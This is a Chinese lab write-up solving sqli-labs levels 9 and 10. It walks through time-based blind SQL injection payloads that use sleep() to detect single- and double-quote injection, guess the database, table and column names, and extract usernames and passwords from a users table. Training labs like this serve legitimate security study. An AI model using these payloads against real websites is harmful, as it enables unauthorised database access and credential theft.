SQL注入sqli_labs靶场第九、十题

第九题

?id=1 and 1=1 页面正常

?id=1 and 1=2 页面正常

?id=1' and '1'='1 页面正常

?id=1' and '1'='2 页面正常

输入任何信息,均显示相同页面,尝试延时注入判断

?id=1 and if(1=1,sleep(5),1)--+ 页面迅速显示

?id=1' and if(1=1,sleep(5),1)--+ 页面过了5秒显示

判断为单引号注入

延时注入:

判断数据库名字长度

?id=1' and if(length(database())=8,sleep(3),1)--+

逐一猜解数据库名字(用二分法 ascii码不断缩小范围)

?id=1' and if(ascii(mid((select database()),1,1))=115,sleep(3),1)--+

判断所有表名长度

?id=1' and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>10,sleep(3),1)--+

逐一猜解表名

?id=1' and if(ascii(mid((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>64,sleep(3),1)--+

判断所有字段名的长度

?id=1'and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20,sleep(3),1)--+

逐一猜解字段名

?id=1'and if(ascii(mid((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>100,sleep(3),1)--+

判断字段内容长度

?id=1' and if(length((select group_concat(username,password) from users))>109,sleep(3),1)--+

逐一检测内容

?id=1' and if(ascii(mid((select group_concat(username,password) from users),1,1))>50,sleep(3),1)--+

第十题

和第九题情况相同,无论输入什么,回显内容均相同

进行延时注入判断

?id=1 and if(1=1,sleep(5),1)--+ 页面迅速显示

?id=1" and if(1=1,sleep(5),1)--+ 页面过了5秒显示

判断为双引号注入

剩余步骤与第九题相同

相关推荐
网安Ruler2 小时前
靶场之路-Kioptix Level-1 mod_ssl 缓冲区溢出漏洞
网络·网络协议·网络安全·ssl
Jason95102 小时前
使用大语言模型(Deepseek)构建一个基于 SQL 数据的问答系统
数据库·sql·问答系统·大语言模型·deepseek
Dawndddddd4 小时前
网络安全之攻防笔记--通用安全漏洞SQL注入&sqlmap&Oracle&mongodb&DB2
笔记·sql·安全·web安全
偏右右5 小时前
UNION 联合查询
数据库·sql
Werqy35 小时前
burpsuite保姆级安装教程
网络安全
Rverdoser14 小时前
【SQL】多表查询案例
数据库·sql
敲敲敲-敲代码15 小时前
【SQL实验】触发器
数据库·笔记·sql
和道一文字yyds15 小时前
MySQL 中的索引数量是否越多越好?为什么?如何使用 MySQL 的 EXPLAIN 语句进行查询分析?MySQL 中如何进行 SQL 调优?
数据库·sql·mysql
小刘|16 小时前
深入理解 SQL 注入漏洞及解决方案
数据库·sql
数巨小码人16 小时前
QT SQL框架及QSqlDatabase类
jvm·sql·qt